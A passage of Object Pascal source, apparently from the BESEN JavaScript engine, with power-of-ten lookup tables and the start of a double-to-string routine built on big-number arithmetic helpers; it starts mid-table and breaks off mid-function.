10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11, + 11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11, + 11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12, + 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12, + 13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13, + 13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14, + 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, + 14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15, + 15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15, + 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16, + 16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17, + 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17, + 17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18, + 18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18, + 19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19, + 19,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20, + 20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20, + 20,20,20,20,20,21,21,21,21,21,21,21,21,21,21,21, + 21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21, + 22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22, + 22,22,22,22,22,22,22,22,22,22,23,23,23,23,23,23, + 23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23, + 23,23,23,23,23,24,24,24,24,24,24,24,24,24,24,24, + 24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,25, + 25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25, + 25,25,25,25,25,25,25,25,25,25,26,26,26,26,26,26, + 26,26,26,26,26,26,26,26,26,26,26,26,26,26,26,26, + 26,26,26,26,27,27,27,27,27,27,27,27,27,27,27,27, + 27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,28, + 28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28, + 28,28,28,28,28,28,28,28,28,28,29,29,29,29,29,29, + 29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29, + 29,29,29,29,30,30,30,30,30,30,30,30,30,30,30,30, + 30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,31, + 31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31, + 31,31,31,31,31,31,31,31,31,32,32,32,32,32,32,32, + 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, + 32,32,32,32,33,33,33,33,33,33,33,33,33,33,33,33, + 33,33,33,33,33,33,33,33,33,33,33,33,33,33,34,34, + 34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34, + 34,34,34,34,34,34,34,34,34,35,35,35,35,35,35,35, + 35,35,35,35,35,35,35,35,35,35,35,35,35,35,35,35, + 35,35,35,35,36,36,36,36,36,36,36,36,36,36,36,36, + 36,36,36,36,36,36,36,36,36,36,36,36,36,36,37,37, + 37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37, + 37,37,37,37,37,37,37,37,37,38,38,38,38,38,38,38, + 38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38, + 38,38,38,39,39,39,39,39,39,39,39,39,39,39,39,39, + 39,39,39,39,39,39,39,39,39,39,39,39,39,39,40,40, + 40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40, + 40,40,40,40,40,40,40,40,41,41,41,41,41,41,41,41, + 41,41,41,41,41,41,41,41,41,41,41,41,41,41,41,41, + 41,41,41,42,42,42,42,42,42,42,42,42,42,42,42,42, + 42,42,42,42,42,42,42,42,42,42,42,42,42,42,43,43, + 43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43, + 43,43,43,43,43,43,43,43,44,44,44,44,44,44,44,44, + 44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44, + 44,44,44,45,45,45,45,45,45,45,45,45,45,45,45,45, + 45,45,45,45,45,45,45,45,45,45,45,45,45,46,46,46, + 46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46, + 46,46,46,46,46,46,46,46,47,47,47,47,47,47,47,47, + 47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47, + 47,47,47,48,48,48,48,48,48,48,48,48,48,48,48,48, + 48,48,48,48,48,48,48,48,48,48,48,48,48,49,49,49, + 49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49, + 49,49,49,49,49,49,49,49,50,50,50,50,50,50,50,50, + 50,50,50,50,50,50,50,50,50,50,50,50,50,50,50,50, + 50,50,51,51,51,51,51,51,51,51,51,51,51,51,51,51, + 51,51,51,51,51,51,51,51,51,51,51,51,51,52,52,52, + 52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52, + 52,52,52,52,52,52,52,53,53,53,53,53,53,53,53,53, + 53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53, + 53,53,54,54,54,54,54,54,54,54,54,54,54,54,54,54, + 54,54,54,54,54,54,54,54,54,54,54,54,54,55,55,55, + 55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55, + 55,55,55,55,55,55,55,56,56,56,56,56,56,56,56,56, + 56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56, + 56,56,57,57,57,57,57,57,57,57,57,57,57,57,57,57, + 57,57,57,57,57,57,57,57,57,57,57,57,58,58,58,58, + 58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58, + 58,58,58,58,58,58,58,59,59,59,59,59,59,59,59,59, + 59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59, + 59,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60, + 60,60,60,60,60,60,60,60,60,60,60,60,61,61,61,61, + 61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61, + 61,61,61,61,61,61,61,62,62,62,62,62,62,62,62,62, + 62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62, + 62,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63, + 63,63,63,63,63,63,63,63,63,63,63,63,64,64,64,64, + 64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64, + 64,64,64,64,64,64,65,65,65,65,65,65,65,65,65,65, + 65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65, + 65,66,66,66,66,66,66,66,66,66,66,66,66,66,66,66, + 66,66,66,66,66,66,66,66,66,66,66,67,67,67,67,67, + 67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67, + 67,67,67,67,67,67,68,68,68,68,68,68,68,68,68,68, + 68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68, + 68,69,69,69,69,69,69,69,69,69,69,69,69,69,69,69, + 69,69,69,69,69,69,69,69,69,69,69,70,70,70,70,70, + 70,70,70,70,70,70,70,70,70,70,70,70,70,70,70,70, + 70,70,70,70,70,70,71,71,71,71,71,71,71,71,71,71, + 71,71,71,71,71,71,71,71,71,71,71,71,71,71,71,71, + 72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72, + 72,72,72,72,72,72,72,72,72,72,72,73,73,73,73,73, + 73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73, + 73,73,73,73,73,74,74,74,74,74,74,74,74,74,74,74, + 74,74,74,74,74,74,74,74,74,74,74,74,74,74,74,74, + 75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75, + 75,75,75,75,75,75,75,75,75,75,75,76,76,76,76,76, + 76,76,76,76,76,76,76,76,76,76,76,76,76,76,76,76, + 76,76,76,76,76,77,77,77,77,77,77,77,77,77,77,77, + 77,77,77,77,77,77,77,77,77,77,77,77,77,77,77,77, + 78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78, + 78,78,78,78,78,78,78,78,78,78,79,79,79,79,79,79, + 79,79,79,79,79,79,79,79,79,79,79,79,79,79,79,79, + 79,79,79,79,79,80,80,80,80,80,80,80,80,80,80,80, + 80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80, + 81,81,81,81,81,81,81,81,81,81,81,81,81,81,81,81, + 81,81,81,81,81,81,81,81,81,81,82,82,82,82,82,82, + 82,82,82,82,82,82,82,82,82,82,82,82,82,82,82,82, + 82,82,82,82,82,83,83,83,83,83,83,83,83,83,83,83, + 83,83,83,83,83,83,83,83,83,83,83,83,83,83,83,84, + 84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84, + 84,84,84,84,84,84,84,84,84,84,85,85,85,85,85,85, + 85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85, + 85,85,85,85,86,86,86,86,86,86,86,86,86,86,86,86, + 86,86,86,86,86,86,86,86,86,86,86,86,86,86,86,86, + 86,86,86,86,86,86,86,86,86,86,86,86,86,86,86,86, + 86,86,86,86,86,86,86,86,86); + + BESENDoubleToStringPowerOfTenDecimalExponentTable:array[-348..(340+8)-1] of byte=(0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2, + 2,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4, + 4,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6, + 6,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8, + 8,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10, + 10,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12, + 12,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14, + 14,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16, + 16,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18, + 18,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20, + 20,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22, + 22,23,23,23,23,23,23,23,23,24,24,24,24,24,24,24, + 24,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26, + 26,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28, + 28,29,29,29,29,29,29,29,29,30,30,30,30,30,30,30, + 30,31,31,31,31,31,31,31,31,32,32,32,32,32,32,32, + 32,33,33,33,33,33,33,33,33,34,34,34,34,34,34,34, + 34,35,35,35,35,35,35,35,35,36,36,36,36,36,36,36, + 36,37,37,37,37,37,37,37,37,38,38,38,38,38,38,38, + 38,39,39,39,39,39,39,39,39,40,40,40,40,40,40,40, + 40,41,41,41,41,41,41,41,41,42,42,42,42,42,42,42, + 42,43,43,43,43,43,43,43,43,44,44,44,44,44,44,44, + 44,45,45,45,45,45,45,45,45,46,46,46,46,46,46,46, + 46,47,47,47,47,47,47,47,47,48,48,48,48,48,48,48, + 48,49,49,49,49,49,49,49,49,50,50,50,50,50,50,50, + 50,51,51,51,51,51,51,51,51,52,52,52,52,52,52,52, + 52,53,53,53,53,53,53,53,53,54,54,54,54,54,54,54, + 54,55,55,55,55,55,55,55,55,56,56,56,56,56,56,56, + 56,57,57,57,57,57,57,57,57,58,58,58,58,58,58,58, + 58,59,59,59,59,59,59,59,59,60,60,60,60,60,60,60, + 60,61,61,61,61,61,61,61,61,62,62,62,62,62,62,62, + 62,63,63,63,63,63,63,63,63,64,64,64,64,64,64,64, + 64,65,65,65,65,65,65,65,65,66,66,66,66,66,66,66, + 66,67,67,67,67,67,67,67,67,68,68,68,68,68,68,68, + 68,69,69,69,69,69,69,69,69,70,70,70,70,70,70,70, + 70,71,71,71,71,71,71,71,71,72,72,72,72,72,72,72, + 72,73,73,73,73,73,73,73,73,74,74,74,74,74,74,74, + 74,75,75,75,75,75,75,75,75,76,76,76,76,76,76,76, + 76,77,77,77,77,77,77,77,77,78,78,78,78,78,78,78, + 78,79,79,79,79,79,79,79,79,80,80,80,80,80,80,80, + 80,81,81,81,81,81,81,81,81,82,82,82,82,82,82,82, + 82,83,83,83,83,83,83,83,83,84,84,84,84,84,84,84, + 84,85,85,85,85,85,85,85,85,86,86,86,86,86,86,86, + 86,86,86,86,86,86,86,86); + + BESENDoubleToStringEstimatePowerFactorTable:array[2..36] of int64=(4294967296, // round((ln(2)/ln(Radix))*4294967296.0); + 2709822658, + 2147483648, + 1849741732, + 1661520155, + 1529898219, + 1431655765, + 1354911329, + 1292913986, + 1241523975, + 1198050829, + 1160664035, + 1128071163, + 1099331346, + 1073741824, + 1050766077, + 1029986701, + 1011073584, + 993761859, + 977836272, + 963119891, + 949465783, + 936750801, + 924870866, + 913737342, + 903274219, + 893415894, + 884105413, + 875293062, + 866935226, + 858993459, + 851433729, + 844225782, + 837342623, + 830760078); + +function BESENDoubleToString(const AValue:double;Mode,RequestedDigits:longint):{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; +{$ifndef fpc} +type qword=int64; +{$endif} +const SignificantMantissaSize=64; + MinimalTargetExponent=-60; + MaximalTargetExponent=-32; + mSHORTEST=0; + mFIXED=1; + mPRECISION=2; + BigNumMaxSignificantMantissaBits=3584; + BigitChunkSize=32; + BigitDoubleChunkSize=64; + BigitSize=28; + BigitMask=(1 shl BigitSize)-1; + BigNumCapacity=(BigNumMaxSignificantMantissaBits+(BigitSize-1)) div BigitSize; +{$ifdef BESENSingleStringType} + DigitChars:array[0..9] of char=('0','1','2','3','4','5','6','7','8','9'); +{$endif} +type TDoubleValue=record + SignificantMantissa:qword; + Exponent:longint; + end; + TBigNumChunk=longword; + TBigNumDoubleChunk=qword; + TBigNum=record + Bigits:array[0..BigNumCapacity] of TBigNumChunk; + UsedDigits:longint; + Exponent:longint; + end; + function QWordLessOrEqual(a,b:qword):boolean; + begin + result:=(a=b) or (((a shr 32)<(b shr 32)) or (((a shr 32)=(b shr 32)) and ((a and $ffffffff)<(b and $ffffffff)))); + end; + function QWordGreaterOrEqual(a,b:qword):boolean; + begin + result:=(a=b) or (((a shr 32)>(b shr 32)) or (((a shr 32)=(b shr 32)) and ((a and $ffffffff)>(b and $ffffffff)))); + end; + function QWordLess(a,b:qword):boolean; + begin + result:=((a shr 32)<(b shr 32)) or (((a shr 32)=(b shr 32)) and ((a and $ffffffff)<(b and $ffffffff))); + end; + function QWordGreater(a,b:qword):boolean; + begin + result:=((a shr 32)>(b shr 32)) or (((a shr 32)=(b shr 32)) and ((a and $ffffffff)>(b and $ffffffff))); + end; + function DoubleValue(SignificantMantissa:qword=0;Exponent:longint=0):TDoubleValue; + begin + result.SignificantMantissa:=SignificantMantissa; + result.Exponent:=Exponent; + end; + procedure SplitDouble(Value:double;var SignificantMantissa:qword;var Exponent:longint); + var Casted:qword absolute Value; + begin + SignificantMantissa:=Casted and qword($000fffffffffffff); + if (Casted and qword($7ff0000000000000))<>0 then begin + inc(SignificantMantissa,qword($0010000000000000)); + Exponent:=((Casted and qword($7ff0000000000000)) shr 52)-($3ff+52); + end else begin + Exponent:=(-($3ff+52))+1; + end; + end; + function DoubleValueGet(Value:double):TDoubleValue; + var SignificantMantissa:qword; + Exponent:longint; + begin + Assert(Value>0); + SplitDouble(Value,SignificantMantissa,Exponent); + while (SignificantMantissa and qword($0010000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 1; + dec(Exponent); + end; + SignificantMantissa:=SignificantMantissa shl (SignificantMantissaSize-53); + dec(Exponent,SignificantMantissaSize-53); + result.SignificantMantissa:=SignificantMantissa; + result.Exponent:=Exponent; + end; + procedure DoubleValueSubtract(var Left:TDoubleValue;const Right:TDoubleValue); + begin + Assert(Left.Exponent=Right.Exponent); + Assert(QWordGreaterOrEqual(Left.SignificantMantissa,Right.SignificantMantissa)); + dec(Left.SignificantMantissa,Right.SignificantMantissa); + end; + function DoubleValueMinus(const Left,Right:TDoubleValue):TDoubleValue; + begin + Assert(Left.Exponent=Right.Exponent); + Assert(QWordGreaterOrEqual(Left.SignificantMantissa,Right.SignificantMantissa)); + result.Exponent:=Left.Exponent; + result.SignificantMantissa:=Left.SignificantMantissa-Right.SignificantMantissa; + end; + procedure DoubleValueMuliply(var Left:TDoubleValue;const Right:TDoubleValue); + var a,b,c,d,ac,bc,ad,bd:qword; + begin + a:=Left.SignificantMantissa shr 32; + b:=Left.SignificantMantissa and $ffffffff; + c:=Right.SignificantMantissa shr 32; + d:=Right.SignificantMantissa and $ffffffff; + ac:=a*c; + bc:=b*c; + ad:=a*d; + bd:=b*d; + inc(Left.Exponent,Right.Exponent+64); + Left.SignificantMantissa:=ac+(ad shr 32)+(bc shr 32)+(qword(((bd shr 32)+((ad and $ffffffff)+(bc and $ffffffff)))+(qword(1) shl 31)) shr 32); + end; + function DoubleValueMul(const Left,Right:TDoubleValue):TDoubleValue; + var a,b,c,d,ac,bc,ad,bd:qword; + begin + a:=Left.SignificantMantissa shr 32; + b:=Left.SignificantMantissa and $ffffffff; + c:=Right.SignificantMantissa shr 32; + d:=Right.SignificantMantissa and $ffffffff; + ac:=a*c; + bc:=b*c; + ad:=a*d; + bd:=b*d; + result.Exponent:=Left.Exponent+(Right.Exponent+64); + a:=((bd shr 32)+((ad and $ffffffff)+(bc and $ffffffff)))+(qword(1) shl 31); + result.SignificantMantissa:=ac+(ad shr 32)+(bc shr 32)+(a shr 32); + end; + procedure DoubleValueNormalize(var Value:TDoubleValue); + var SignificantMantissa:qword; + Exponent:longint; + begin + Assert(Value.SignificantMantissa<>0); + SignificantMantissa:=Value.SignificantMantissa; + Exponent:=Value.Exponent; + while (SignificantMantissa and qword($ffc0000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 10; + dec(Exponent,10); + end; + while (SignificantMantissa and qword($8000000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 1; + dec(Exponent); + end; + Value.SignificantMantissa:=SignificantMantissa; + Value.Exponent:=Exponent; + end; + function DoubleValueNorm(const Value:TDoubleValue):TDoubleValue; + var SignificantMantissa:qword; + Exponent:longint; + begin + Assert(Value.SignificantMantissa<>0); + SignificantMantissa:=Value.SignificantMantissa; + Exponent:=Value.Exponent; + while (SignificantMantissa and qword($ffc0000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 10; + dec(Exponent,10); + end; + while (SignificantMantissa and qword($8000000000000000))=0 do begin + SignificantMantissa:=SignificantMantissa shl 1; + dec(Exponent); + end; + result.SignificantMantissa:=SignificantMantissa; + result.Exponent:=Exponent; + end; + function BigNumNew:TBigNum; + begin + FillChar(result,sizeof(TBigNum),#0); + end; + procedure BigNumZero(var BigNum:TBigNum); + begin + BigNum.UsedDigits:=0; + BigNum.Exponent:=0; + end; + procedure BigNumEnsureCapacity(var BigNum:TBigNum;Size:longint); + begin + end; + procedure BigNumClamp(var BigNum:TBigNum); + begin + while (BigNum.UsedDigits>0) and (BigNum.Bigits[BigNum.UsedDigits-1]=0) do begin + dec(BigNum.UsedDigits); + end; + if BigNum.UsedDigits=0 then begin + BigNum.Exponent:=0; + end; + end; + function BigNumIsClamped(const BigNum:TBigNum):boolean; + begin + result:=(BigNum.UsedDigits=0) or (BigNum.Bigits[BigNum.UsedDigits-1]<>0); + end; + procedure BigNumAlign(var BigNum:TBigNum;const Other:TBigNum); + var ZeroDigits,i:longint; + begin + if BigNum.Exponent>Other.Exponent then begin + ZeroDigits:=BigNum.Exponent-Other.Exponent; + BigNumEnsureCapacity(BigNum,Bignum.UsedDigits+ZeroDigits); + for i:=BigNum.UsedDigits-1 downto 0 do begin + BigNum.Bigits[i+ZeroDigits]:=BigNum.Bigits[i]; + end; + for i:=0 to ZeroDigits-1 do begin + BigNum.Bigits[i]:=0; + end; + inc(BigNum.UsedDigits,ZeroDigits); + dec(BigNum.Exponent,ZeroDigits); + Assert(BigNum.UsedDigits>=0); + Assert(BigNum.Exponent>=0); + end; + end; + procedure BigNumAssignUInt16(var BigNum:TBigNum;Value:word); + begin + Assert(BigitSize>=(sizeof(word)*8)); + BigNumZero(BigNum); + if Value<>0 then begin + BigNumEnsureCapacity(BigNum,1); + BigNum.Bigits[0]:=Value; + BigNum.UsedDigits:=1; + end; + end; + procedure BigNumAssignUInt64(var BigNum:TBigNum;Value:qword); + var i,j:longint; + begin + BigNumZero(BigNum); + if Value<>0 then begin + j:=(64 div BigitSize)+1; + BigNumEnsureCapacity(BigNum,j); + for i:=0 to j-1 do begin + BigNum.Bigits[i]:=Value and BigitMask; + Value:=Value shr BigitSize; + end; + BigNum.UsedDigits:=j; + BigNumClamp(BigNum); + end; + end; + procedure BigNumAssignBigNum(var BigNum:TBigNum;const Other:TBigNum); + begin + BigNum.Exponent:=Other.Exponent; + BigNum.Bigits:=Other.Bigits; + BigNum.UsedDigits:=Other.UsedDigits; + end; + procedure BigNumAddBigNum(var BigNum:TBigNum;const Other:TBigNum); + var Carry,Sum:TBigNumChunk; + BigitPos,i:longint; + begin + Assert(BigNumIsClamped(BigNum)); + Assert(BigNumIsClamped(Other)); + BigNumAlign(BigNum,Other); + BigNumEnsureCapacity(BigNum,BigNum.UsedDigits+Other.UsedDigits); + BigitPos:=Other.Exponent-BigNum.Exponent; + Assert(BigitPos>=0); + Carry:=0; + for i:=0 to Other.UsedDigits-1 do begin + Sum:=BigNum.Bigits[BigitPos]+Other.Bigits[i]+Carry; + BigNum.Bigits[BigitPos]:=Sum and BigitMask; + Carry:=Sum shr BigitSize; + inc(BigitPos); + end; + while Carry<>0 do begin + Sum:=BigNum.Bigits[BigitPos]+Carry; + BigNum.Bigits[BigitPos]:=Sum and BigitMask; + Carry:=Sum shr BigitSize; + inc(BigitPos); + end; + if BigNum.UsedDigits<BigitPos then begin + BigNum.UsedDigits:=BigitPos; + end; + Assert(BigNumIsClamped(BigNum)); + end; + procedure BigNumAddUInt64(var BigNum:TBigNum;const Value:qword); + var Other:TBigNum; + begin + Other:=BigNumNew; + BigNumAssignUInt64(Other,Value); + BigNumAddBigNum(BigNum,Other); + end; + function BigNumBigitAt(const BigNum:TBigNum;Index:longint):TBigNumChunk; + begin + if (Index<BigNum.Exponent) or (Index>=(BigNum.UsedDigits+BigNum.Exponent)) then begin + result:=0; + end else begin + result:=BigNum.Bigits[Index-BigNum.Exponent]; + end; + end; + function BigNumCompare(const a,b:TBigNum):longint; + var la,lb,i,j:longint; + ba,bb:TBigNumChunk; + begin + Assert(BigNumIsClamped(a)); + Assert(BigNumIsClamped(b)); + la:=a.UsedDigits+a.Exponent; + lb:=b.UsedDigits+b.Exponent; + if la<lb then begin + result:=-1; + end else if la>lb then begin + result:=1; + end else begin + if a.Exponent<b.Exponent then begin + j:=a.Exponent; + end else begin + j:=b.Exponent; + end; + result:=0; + for i:=la-1 downto j do begin + ba:=BigNumBigItAt(a,i); + bb:=BigNumBigItAt(b,i); + if ba<bb then begin + result:=-1; + break; + end else if ba>bb then begin + result:=1; + break; + end; + end; + end; + end; + function BigNumPlusCompare(const a,b,c:TBigNum):longint; + var la,lb,lc,i,j:longint; + ba,bb,bc,br,Sum:TBigNumChunk; + begin + Assert(BigNumIsClamped(a)); + Assert(BigNumIsClamped(b)); + Assert(BigNumIsClamped(c)); + la:=a.UsedDigits+a.Exponent; + lb:=b.UsedDigits+b.Exponent; + lc:=c.UsedDigits+c.Exponent; + if la<lb then begin + result:=BigNumPlusCompare(b,a,c); + end else begin + if (la+1)<lc then begin + result:=-1; + end else if la>lc then begin + result:=1; + end else if (a.Exponent>=lb) and (la<lc) then begin + result:=-1; + end else begin + if a.Exponent<b.Exponent then begin + if a.Exponent<c.Exponent then begin + j:=a.Exponent; + end else begin + j:=c.Exponent; + end; + end else begin + if b.Exponent<c.Exponent then begin + j:=b.Exponent; + end else begin + j:=c.Exponent; + end; + end; + br:=0; + for i:=lc-1 downto j do begin + ba:=BigNumBigItAt(a,i); + bb:=BigNumBigItAt(b,i); + bc:=BigNumBigItAt(c,i); + Sum:=ba+bb; + if Sum>(bc+br) then begin + result:=1; + exit; + end else begin + br:=(bc+br)-Sum; + if br>1 then begin + result:=-1; + exit; + end; + br:=br shl BigitSize; + end; + end; + if br=0 then begin + result:=0; + end else begin + result:=-1; + end; + end; + end; + end; + procedure BigNumSubtractBigNum(var BigNum:TBigNum;const Other:TBigNum); + var Borrow,Difference:TBigNumChunk; + i,Offset:longint; + begin + Assert(BigNumIsClamped(BigNum)); + Assert(BigNumIsClamped(Other)); + Assert(BigNumCompare(Other,BigNum)<=0); + BigNumAlign(BigNum,Other); + Offset:=Other.Exponent-BigNum.Exponent; + Borrow:=0; + for i:=0 to Other.UsedDigits-1 do begin + Assert((Borrow=0) or (Borrow=1)); + Difference:=(BigNum.Bigits[i+Offset]-Other.Bigits[i])-Borrow; + BigNum.Bigits[i+Offset]:=Difference and BigitMask; + Borrow:=Difference shr (BigitChunkSize-1); + end; + i:=Other.UsedDigits; + while Borrow<>0 do begin + Difference:=BigNum.Bigits[i+Offset]-Borrow; + BigNum.Bigits[i+Offset]:=Difference and BigitMask; + Borrow:=Difference shr (BigitChunkSize-1); + inc(i); + end; + BigNumClamp(BigNum); + end; + procedure BigNumBigitsShiftLeft(var BigNum:TBigNum;Shift:longint); + var Carry,NextCarry:TBigNumChunk; + i:longint; + begin + Assert(Shift<BigitSize); + Assert(Shift>=0); + Carry:=0; + for i:=0 to BigNum.UsedDigits-1 do begin + NextCarry:=BigNum.Bigits[i] shr (BigitSize-Shift); + BigNum.Bigits[i]:=((BigNum.Bigits[i] shl Shift)+Carry) and BigitMask; + Carry:=NextCarry; + end; + if Carry<>0 then begin + BigNum.Bigits[BigNum.UsedDigits]:=Carry; + inc(BigNum.UsedDigits); + end; + end; + procedure BigNumBigitsShiftRight(var BigNum:TBigNum;Shift:longint); + var Carry,NextCarry:TBigNumChunk; + i:longint; + begin + Assert(Shift<BigitSize); + Assert(Shift>=0); + if BigNum.UsedDigits>0 then begin + Carry:=0; + for i:=BigNum.UsedDigits-1 downto 1 do begin + NextCarry:=BigNum.Bigits[i] shl (BigitSize-Shift); + BigNum.Bigits[i]:=((BigNum.Bigits[i] shr Shift)+Carry) and BigitMask; + Carry:=NextCarry; + end; + BigNum.Bigits[0]:=(BigNum.Bigits[0] shr Shift)+Carry; + end; + BigNumClamp(BigNum); + end; + procedure BignumSubtractTimes(var BigNum:TBigNum;const Other:TBigNum;Factor:longint); + var i,ExponentDiff:longint; + Borrow,Difference:TBigNumChunk; + Product,Remove:TBigNumDoubleChunk; + begin + Assert(BigNum.Exponent<=Other.Exponent); + if Factor<3 then begin + for i:=1 to Factor do begin + BigNumSubtractBignum(BigNum,Other); + end; + end else begin + Borrow:=0; + ExponentDiff:=Other.Exponent-BigNum.Exponent; + for i:=0 to Other.UsedDigits-1 do begin + Product:=TBigNumDoubleChunk(Factor)*Other.Bigits[i]; + Remove:=Borrow+Product; + Difference:=BigNum.Bigits[i+ExponentDiff]-TBigNumChunk(Remove and BigitMask); + BigNum.Bigits[i+ExponentDiff]:=Difference and BigitMask; + Borrow:=TBigNumChunk((Difference shr (BigitChunkSize-1))+(Remove shr BigitSize)); + end; + for i:=Other.UsedDigits+ExponentDiff to BigNum.UsedDigits-1 do begin + if Borrow=0 then begin + exit; + end; + Difference:=BigNum.Bigits[i]-Borrow; + BigNum.Bigits[i]:=Difference and BigitMask; + Borrow:=TBigNumChunk(Difference shr (BigitChunkSize-1)); + end; + BigNumClamp(BigNum); + end; + end; + procedure BigNumShiftLeft(var BigNum:TBigNum;Shift:longint); + begin + if BigNum.UsedDigits<>0 then begin + inc(BigNum.Exponent,Shift div BigitSize); + BignumEnsureCapacity(BigNum,BigNum.UsedDigits+1); + BigNumBigitsShiftLeft(BigNum,Shift mod BigitSize); + end; + end; + procedure BigNumShiftRight(var BigNum:TBigNum;Shift:longint); + begin + if BigNum.UsedDigits<>0 then begin + dec(BigNum.Exponent,Shift div BigitSize); + BignumEnsureCapacity(BigNum,BigNum.UsedDigits); + BigNumBigitsShiftRight(BigNum,Shift mod BigitSize); + end; + end; + procedure BigNumMultiplyByUInt32(var BigNum:TBigNum;Factor:word); + var Carry,Product:qword; + i:longint; + begin + if Factor=0 then begin + BigNumZero(BigNum); + end else if Factor<>1 then begin + Assert(BigitSize<32); + Carry:=0; + for i:=0 to BigNum.UsedDigits-1 do begin + Product:=(Factor*BigNum.Bigits[i])+Carry; + BigNum.Bigits[i]:=Product and BigitMask; + Carry:=Product shr BigitSize; + end; + while Carry<>0 do begin + BigNumEnsureCapacity(BigNum,BigNum.UsedDigits+1); + BigNum.Bigits[BigNum.UsedDigits]:=Carry and BigitMask; + inc(BigNum.UsedDigits); + Carry:=Carry shr BigitSize; + end; + end; + end; + procedure BigNumMultiplyByUInt64(var BigNum:TBigNum;Factor:qword); + var Carry,Low,High,ProductLow,ProductHigh,Tmp:qword; + i:longint; + begin + if Factor=0 then begin + BigNumZero(BigNum); + end else if Factor<>1 then begin + Assert(BigitSize<32); + Carry:=0; + Low:=Factor and $ffffffff; + High:=Factor shr 32; + for i:=0 to BigNum.UsedDigits-1 do begin + ProductLow:=Low*BigNum.Bigits[i]; + ProductHigh:=High*BigNum.Bigits[i]; + Tmp:=(Carry and BigitMask)+ProductLow; + BigNum.Bigits[i]:=Tmp and BigitMask; + Carry:=(Carry shr BigitSize)+(Tmp shr BigitSize)+(ProductHigh shl (32-BigitSize)); + end; + while Carry<>0 do begin + BigNumEnsureCapacity(BigNum,BigNum.UsedDigits+1); + BigNum.Bigits[BigNum.UsedDigits]:=Carry and BigitMask; + inc(BigNum.UsedDigits); + Carry:=Carry shr BigitSize; + end; + end; + end; + procedure BigNumSquare(var BigNum:TBigNum); + var ProductLength,CopyOffset,i,BigitIndex1,BigitIndex2:longint; + Accumulator:TBigNumDoubleChunk; + Chunk1,Chunk2:TBigNumChunk; + begin + Assert(BigNumIsClamped(BigNum)); + ProductLength:=2*BigNum.UsedDigits; + BigNumEnsureCapacity(BigNum,ProductLength); + Assert(not ((1 shl (2*(BigItChunkSize-BigitSize)))<=BigNum.UsedDigits)); + Accumulator:=0; + CopyOffset:=BigNum.UsedDigits; + for i:=0 to BigNum.UsedDigits-1 do begin + BigNum.Bigits[i+CopyOffset]:=BigNum.Bigits[i]; + end; + for i:=0 to BigNum.UsedDigits-1 do begin + BigitIndex1:=i; 